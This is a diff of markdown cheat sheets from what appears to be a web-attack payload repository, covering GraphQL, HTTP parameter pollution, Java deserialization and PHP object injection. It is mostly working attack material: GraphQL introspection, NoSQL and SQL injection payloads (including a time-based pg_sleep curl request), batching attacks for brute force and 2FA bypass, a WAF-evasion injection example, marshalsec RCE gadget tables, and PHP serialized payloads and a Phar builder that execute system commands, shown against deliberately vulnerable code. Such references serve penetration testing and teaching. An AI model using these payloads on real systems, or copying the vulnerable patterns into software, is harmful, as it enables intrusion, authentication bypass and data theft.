|
name
|
||||||
|
description
|
||||||
|
fields(includeDeprecated: true) {
|
||||||
|
name
|
||||||
|
description
|
||||||
|
args {
|
||||||
|
...InputValue
|
||||||
|
}
|
||||||
|
type {
|
||||||
|
...TypeRef
|
||||||
|
}
|
||||||
|
isDeprecated
|
||||||
|
deprecationReason
|
||||||
|
}
|
||||||
|
inputFields {
|
||||||
|
...InputValue
|
||||||
|
}
|
||||||
|
interfaces {
|
||||||
|
...TypeRef
|
||||||
|
}
|
||||||
|
enumValues(includeDeprecated: true) {
|
||||||
|
name
|
||||||
|
description
|
||||||
|
isDeprecated
|
||||||
|
deprecationReason
|
||||||
|
}
|
||||||
|
possibleTypes {
|
||||||
|
...TypeRef
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fragment InputValue on __InputValue {
|
||||||
|
name
|
||||||
|
description
|
||||||
|
type {
|
||||||
|
...TypeRef
|
||||||
|
}
|
||||||
|
defaultValue
|
||||||
|
}
|
||||||
|
fragment TypeRef on __Type {
|
||||||
|
kind
|
||||||
|
name
|
||||||
|
ofType {
|
||||||
|
kind
|
||||||
|
name
|
||||||
|
ofType {
|
||||||
|
kind
|
||||||
|
name
|
||||||
|
ofType {
|
||||||
|
kind
|
||||||
|
name
|
||||||
|
ofType {
|
||||||
|
kind
|
||||||
|
name
|
||||||
|
ofType {
|
||||||
|
kind
|
||||||
|
name
|
||||||
|
ofType {
|
||||||
|
kind
|
||||||
|
name
|
||||||
|
ofType {
|
||||||
|
kind
|
||||||
|
name
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
query IntrospectionQuery {
|
||||||
|
__schema {
|
||||||
|
queryType {
|
||||||
|
name
|
||||||
|
}
|
||||||
|
mutationType {
|
||||||
|
name
|
||||||
|
}
|
||||||
|
types {
|
||||||
|
...FullType
|
||||||
|
}
|
||||||
|
directives {
|
||||||
|
name
|
||||||
|
description
|
||||||
|
locations
|
||||||
|
args {
|
||||||
|
...InputValue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Single line query to dump the database schema without fragments.
|
||||||
|
|
||||||
|
```js
|
||||||
|
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
|
||||||
|
```
|
||||||
|
|
||||||
|
### List path
|
||||||
|
|
||||||
|
```php
|
||||||
|
$ git clone https://gitlab.com/dee-see/graphql-path-enum
|
||||||
|
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
|
||||||
|
Found 27 ways to reach the "Skill" node from the "Query" node:
|
||||||
|
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||||
|
- Query (query) -> Query (skills) -> Skill
|
||||||
|
```
|
||||||
|
|
||||||
|
### Extract data
|
||||||
|
|
||||||
|
```js
|
||||||
|
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Extract data using edges/nodes
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"query": "query {
|
||||||
|
teams{
|
||||||
|
total_count,edges{
|
||||||
|
node{
|
||||||
|
id,_id,about,handle,state
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Extract data using projections
|
||||||
|
|
||||||
|
:warning: Don’t forget to escape the " inside the **options**.
|
||||||
|
|
||||||
|
```json
|
||||||
|
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Enumerate the types' definition
|
||||||
|
|
||||||
|
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Use mutations
|
||||||
|
|
||||||
|
Mutations work like function, you can use them to interact with the GraphQL.
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
|
||||||
|
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
|
||||||
|
```
|
||||||
|
|
||||||
|
### NOSQL injection
|
||||||
|
|
||||||
|
Use `$regex`, `$ne` from []() inside a `search` parameter.
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
doctors(
|
||||||
|
options: "{\"limit\": 1, \"patients.ssn\" :1}",
|
||||||
|
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
|
||||||
|
{
|
||||||
|
firstName lastName id patients{ssn}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### SQL injection
|
||||||
|
|
||||||
|
Send a single quote `'` inside a graphql parameter to trigger the SQL injection
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
{
|
||||||
|
bacon(id: "1'") {
|
||||||
|
id,
|
||||||
|
type,
|
||||||
|
price
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Simple SQL injection inside a graphql field.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
|
||||||
|
```
|
||||||
|
|
||||||
|
### GraphQL Batching Attacks
|
||||||
|
|
||||||
|
Common scenario:
|
||||||
|
* Password Brute-force Amplification Scenario
|
||||||
|
* 2FA bypassing
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
mutation finishChannelVerificationMutation(
|
||||||
|
$input FinishChannelVerificationInput!,
|
||||||
|
$input2 FinishChannelVerificationInput!,
|
||||||
|
$input3 FinishChannelVerificationInput!,
|
||||||
|
){
|
||||||
|
first: finishChannelVerificationMutation(input: $input){
|
||||||
|
channel{
|
||||||
|
id
|
||||||
|
option{
|
||||||
|
... onChannelSmsOptions{
|
||||||
|
number
|
||||||
|
}
|
||||||
|
}
|
||||||
|
status
|
||||||
|
notificationSubscription(last: 1000){ etc... }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
second: finishChannelVerificationMutation(input: $input2){...}
|
||||||
|
third: finishChannelVerificationMutation(input: $input3){...}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Introduction to GraphQL](https://graphql.org/learn/)
|
||||||
|
* [GraphQL Introspection](https://graphql.org/learn/introspection/)
|
||||||
|
* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
|
||||||
|
* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/)
|
||||||
|
* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
|
||||||
|
* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
|
||||||
|
* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
|
||||||
|
* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066)
|
||||||
|
* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
|
||||||
|
* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
|
||||||
|
* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql)
|
||||||
|
* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
|
||||||
|
* [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531)
|
||||||
|
* [Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
|
||||||
|
* [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
|
||||||
49
HTTP Parameter Pollution/README.md
Normal file
49
HTTP Parameter Pollution/README.md
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
# HTTP Parameter Pollution
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value¶m1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurance, some taking the last occurance, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
No tools needed. Maybe Burp or OWASP ZAP.
|
||||||
|
|
||||||
|
## How to test
|
||||||
|
|
||||||
|
HPP allows an attacker to bypass pattern based/black list proxies or Web Application Firewall detection mechanisms. This can be done with or without the knowledge of the web technology behind the proxy, and can be achieved through simple trial and error.
|
||||||
|
|
||||||
|
```
|
||||||
|
Example scenario.
|
||||||
|
WAF - Reads first param
|
||||||
|
Origin Service - Reads second param. In this scenario, developer trusted WAF and did not implement sanity checks.
|
||||||
|
|
||||||
|
Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads first 'search' param, looks innocent. passes on) --> Origin Service (reads second 'search' param, injection happens if no checks are done here.)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Table of refence for which technology reads which parameter
|
||||||
|
When ?par1=a&par1=b
|
||||||
|
| Technology | Parsing Result |outcome (par1=)|
|
||||||
|
| ------------------ |--------------- |:-------------:|
|
||||||
|
| ASP.NET/IIS |All occurrences |a,b |
|
||||||
|
| ASP/IIS |All occurrences |a,b |
|
||||||
|
| PHP/Apache |Last occurrence |b |
|
||||||
|
| PHP/Zues |Last occurrence |b |
|
||||||
|
| JSP,Servlet/Tomcat |First occurrence |a |
|
||||||
|
| Perl CGI/Apache |First occurrence |a |
|
||||||
|
| Python Flask |First occurrence |a |
|
||||||
|
| Python Django |Last occurrence |b |
|
||||||
|
| Nodejs |All occurrences |a,b |
|
||||||
|
| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a |
|
||||||
|
| Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b |
|
||||||
|
| IBM Lotus Domino |First occurrence |a |
|
||||||
|
| IBM HTTP Server |First occurrence |a |
|
||||||
|
| Perl CGI/Apache |First occurrence |a |
|
||||||
|
| mod_wsgi (Python)/Apache |First occurrence |a |
|
||||||
|
| Python/Zope |All occurences in array |['a','b'] |
|
||||||
|
|
||||||
|
## References
|
||||||
|
- [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
|
||||||
|
- [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
|
||||||
|
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
|
||||||
@@ -50,7 +50,7 @@ Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spr
|
|||||||
URLDNS |@gebl| | jre only vuln detect
|
URLDNS |@gebl| | jre only vuln detect
|
||||||
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
|
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
|
||||||
|
|
||||||
Additional tools (integration ysoserial with Burp Suite):
|
## Burp extensions using ysoserial
|
||||||
|
|
||||||
- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
|
- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
|
||||||
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
|
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
|
||||||
@@ -58,15 +58,51 @@ Additional tools (integration ysoserial with Burp Suite):
|
|||||||
- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
|
- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
|
||||||
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
|
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
|
||||||
|
|
||||||
JRE8u20_RCE_Gadget
|
## Other tools
|
||||||
[https://github.com/pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
|
|
||||||
|
|
||||||
JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool, [https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
|
- [JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
|
||||||
|
- [JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
|
||||||
|
- [ysoserial-modified](https://github.com/pimps/ysoserial-modified)
|
||||||
|
- [gadgetprobe](https://labs.bishopfox.com/gadgetprobe)
|
||||||
|
- [marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
|
||||||
|
|
||||||
## Thanks to
|
```java
|
||||||
|
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
|
||||||
|
|
||||||
|
where
|
||||||
|
-a - generates/tests all payloads for that marshaller
|
||||||
|
-t - runs in test mode, unmarshalling the generated payloads after generating them.
|
||||||
|
-v - verbose mode, e.g. also shows the generated payload in test mode.
|
||||||
|
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
|
||||||
|
arguments - Gadget specific arguments
|
||||||
|
```
|
||||||
|
|
||||||
|
Payload generators for the following marshallers are included:<br />
|
||||||
|
|
||||||
|
| Marshaller | Gadget Impact
|
||||||
|
| ------------------------------- | ----------------------------------------------
|
||||||
|
| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization<br/>various third party libraries RCEs
|
||||||
|
| Hessian|Burlap | various third party RCEs
|
||||||
|
| Castor | dependency library RCE
|
||||||
|
| Jackson | **possible JDK only RCE**, various third party RCEs
|
||||||
|
| Java | yet another third party RCE
|
||||||
|
| JsonIO | **JDK only RCE**
|
||||||
|
| JYAML | **JDK only RCE**
|
||||||
|
| Kryo | third party RCEs
|
||||||
|
| KryoAltStrategy | **JDK only RCE**
|
||||||
|
| Red5AMF(0|3) | **JDK only RCE**
|
||||||
|
| SnakeYAML | **JDK only RCEs**
|
||||||
|
| XStream | **JDK only RCEs**
|
||||||
|
| YAMLBeans | third party RCE
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
- [Github - ysoserial](https://github.com/frohoff/ysoserial)
|
- [Github - ysoserial](https://github.com/frohoff/ysoserial)
|
||||||
- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
||||||
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||||
- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
||||||
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||||
|
- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
|
||||||
|
- [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
|
||||||
|
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
|
||||||
202
Insecure Deserialization/PHP.md
Normal file
202
Insecure Deserialization/PHP.md
Normal file
@@ -0,0 +1,202 @@
|
|||||||
|
# PHP Object injection
|
||||||
|
|
||||||
|
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
||||||
|
|
||||||
|
The following magic methods will help you for a PHP Object injection
|
||||||
|
|
||||||
|
* __wakeup() when an object is unserialized.
|
||||||
|
* __destruct() when an object is deleted.
|
||||||
|
* __toString() when an object is converted to a string.
|
||||||
|
|
||||||
|
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [General concept](#general-concept)
|
||||||
|
* [Authentication bypass](#authentication-bypass)
|
||||||
|
* [Finding and using gadgets](#finding-and-using-gadgets)
|
||||||
|
* [Real world examples](#real-world-examples)
|
||||||
|
* [PHP Phar Deserialization](#php-phar-deserialization)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## General concept
|
||||||
|
|
||||||
|
Vulnerable code:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
class PHPObjectInjection{
|
||||||
|
public $inject;
|
||||||
|
function __construct(){
|
||||||
|
}
|
||||||
|
function __wakeup(){
|
||||||
|
if(isset($this->inject)){
|
||||||
|
eval($this->inject);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(isset($_REQUEST['r'])){
|
||||||
|
$var1=unserialize($_REQUEST['r']);
|
||||||
|
if(is_array($var1)){
|
||||||
|
echo "<br/>".$var1[0]." - ".$var1[1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
echo ""; # nothing happens here
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
Craft a payload using existing code inside the application.
|
||||||
|
|
||||||
|
```php
|
||||||
|
# Basic serialized data
|
||||||
|
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
|
||||||
|
|
||||||
|
# Command execution
|
||||||
|
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Authentication bypass
|
||||||
|
|
||||||
|
### Type juggling
|
||||||
|
|
||||||
|
Vulnerable code:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$data = unserialize($_COOKIE['auth']);
|
||||||
|
|
||||||
|
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
|
||||||
|
$admin = true;
|
||||||
|
} else {
|
||||||
|
$admin = false;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Payload:
|
||||||
|
|
||||||
|
```php
|
||||||
|
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
|
||||||
|
```
|
||||||
|
|
||||||
|
Because `true == "str"` is true.
|
||||||
|
|
||||||
|
### Object reference
|
||||||
|
|
||||||
|
Vulnerable code:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
class Object
|
||||||
|
{
|
||||||
|
var $guess;
|
||||||
|
var $secretCode;
|
||||||
|
}
|
||||||
|
|
||||||
|
$obj = unserialize($_GET['input']);
|
||||||
|
|
||||||
|
if($obj) {
|
||||||
|
$obj->secretCode = rand(500000,999999);
|
||||||
|
if($obj->guess === $obj->secretCode) {
|
||||||
|
echo "Win";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
Payload:
|
||||||
|
|
||||||
|
```php
|
||||||
|
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
|
||||||
|
```
|
||||||
|
|
||||||
|
We can do an array to like this:
|
||||||
|
|
||||||
|
```php
|
||||||
|
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Finding and using gadgets
|
||||||
|
|
||||||
|
Also called "PHP POP Chains", they can be used to gain RCE on the system.
|
||||||
|
|
||||||
|
[PHPGGC](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
|
||||||
|
|
||||||
|
- Laravel
|
||||||
|
- Symfony
|
||||||
|
- SwiftMailer
|
||||||
|
- Monolog
|
||||||
|
- SlimPHP
|
||||||
|
- Doctrine
|
||||||
|
- Guzzle
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
phpggc monolog/rce1 'phpinfo();' -s
|
||||||
|
```
|
||||||
|
|
||||||
|
## PHP Phar Deserialization
|
||||||
|
|
||||||
|
Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`.
|
||||||
|
|
||||||
|
A valid PHAR includes four elements:
|
||||||
|
|
||||||
|
1. Stub
|
||||||
|
2. Manifest
|
||||||
|
3. File Contents
|
||||||
|
4. Signature
|
||||||
|
|
||||||
|
Example of a Phar creation in order to exploit a custom `PDFGenerator`.
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
class PDFGenerator { }
|
||||||
|
|
||||||
|
//Create a new instance of the Dummy class and modify its property
|
||||||
|
$dummy = new PDFGenerator();
|
||||||
|
$dummy->callback = "passthru";
|
||||||
|
$dummy->fileName = "uname -a > pwned"; //our payload
|
||||||
|
|
||||||
|
// Delete any existing PHAR archive with that name
|
||||||
|
@unlink("poc.phar");
|
||||||
|
|
||||||
|
// Create a new archive
|
||||||
|
$poc = new Phar("poc.phar");
|
||||||
|
|
||||||
|
// Add all write operations to a buffer, without modifying the archive on disk
|
||||||
|
$poc->startBuffering();
|
||||||
|
|
||||||
|
// Set the stub
|
||||||
|
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
|
||||||
|
|
||||||
|
/* Add a new file in the archive with "text" as its content*/
|
||||||
|
$poc["file"] = "text";
|
||||||
|
// Add the dummy object to the metadata. This will be serialized
|
||||||
|
$poc->setMetadata($dummy);
|
||||||
|
// Stop buffering and write changes to disk
|
||||||
|
$poc->stopBuffering();
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Real world examples
|
||||||
|
|
||||||
|
* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
|
||||||
|
* [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212)
|
||||||
|
* [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882)
|
||||||
|
* [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552)
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
||||||
|
* [Utilizing Code Reuse/ROP in PHP](https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)
|
||||||
|
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
|
||||||
|
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
||||||
|
* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
||||||
|
* [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
|
||||||
|
* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/meepwn-2017-write-ups/#TSULOTT-Web)
|
||||||
|
* [CTF writeup: PHP object injection in kaspersky CTF](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
|
||||||
|
* [Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec](https://rawsec.ml/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
|
||||||
|
